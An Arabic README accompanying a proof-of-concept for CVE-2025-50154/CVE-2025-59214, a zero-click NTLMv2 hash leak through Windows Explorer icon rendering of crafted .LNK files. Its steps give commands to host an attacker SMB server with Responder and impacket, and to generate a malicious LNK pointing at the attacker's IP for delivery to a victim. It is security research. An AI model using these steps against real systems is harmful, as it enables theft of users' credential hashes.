CVE-2025-50154, CVE-2025-59214

كشف تجزئة NTLMv2-SSP بنقرة صفرية في مستكشف ملفات ويندوز

بقلم Ruben Enkaoua و Cymulate

المدونة الأولى: نقرة صفرية، NTLM واحد: تجاوز تصحيح مايكروسوفت الأمني (CVE-2025-50154)

المدونة الثانية: تم تصحيحه مرتين، وما زال يتم تجاوزه: تسريب NTLM جديد (تجاوز تصحيح CVE-2025-50154)

الوصف

بينما أصدرت مايكروسوفت تحديثًا أمنيًا يعالج ثغرة كشف تجزئة NTLM القائمة على الأيقونات، اكتشفت تجاوزًا لا يزال يسمح للمهاجم باسترداد تجزئات NTLMv2-SSP دون أي تفاعل من المستخدم.

الثغرة الأصلية، التي تم تصحيحها مؤخرًا، كانت كشفًا لتجزئة NTLM بنقرة صفرية (0-click) يحدث عندما يعرض explorer.exe أيقونة ملف اختصار .LNK تكون أيقونته مستضافة على خادم SMB بعيد.
بعد التصحيح، لم يعد explorer.exe يحمّل الأيقونات من مسارات SMB البعيدة، مما يمنع الكشف التلقائي عن تجزئات NTLM.

تحديث: لم يعمل التصحيح الخاص بـ CVE-2025-50154 على الإطلاق. أبلغنا عنه، وتم تعيين CVE جديد للثغرة: CVE-2025-59214. مادة الإثبات (POC) ذات صلة بكلا CVE.

عبر إنشاء ملف .LNK يحتوي على:

• أيقونة افتراضية من shell32.dll
  
• مسار هدف يشير إلى ملف ثنائي مستضاف على خادم SMB بعيد
  
  

ستظل عملية explorer.exe تجلب الملف البعيد لاستخراج أيقونة PE من موارد RT_GROUP_ICON و RT_ICON الخاصة به.

الخطوات

شغّل خادم Responder على خادمك.

# put the binary (for example Taskmgr.exe) in the directory and run the SMB server.
impacket-smbserver share . -smb2support

أنشئ ملف LNK ضارًا باستخدام powershell على جهاز مختلف، ثم قم بإسقاطه على الضحية (تنزيل ضار، رفع عبر SMB...).

# Replace the values with the path, the responder server IP and the file name on the server. Note: It can take 20 to 30 seconds.
.\poc.ps1 -path "C:\users\user\desktop" -ip "<serverIP>" -share "<share>" -file "<payload.exe>"

ستقوم عملية explorer.exe بعرض الأيقونة عن طريق تنزيل الملف تلقائيًا، باحثةً عن ترويسات RT_ICON و RT_GROUP_ICON في قسم .rsrc.

ملاحظات

هذا الكود لأغراض تعليمية وبحثية فقط.
لا يتحمل المؤلف أي مسؤولية عن إساءة استخدام هذا الكود.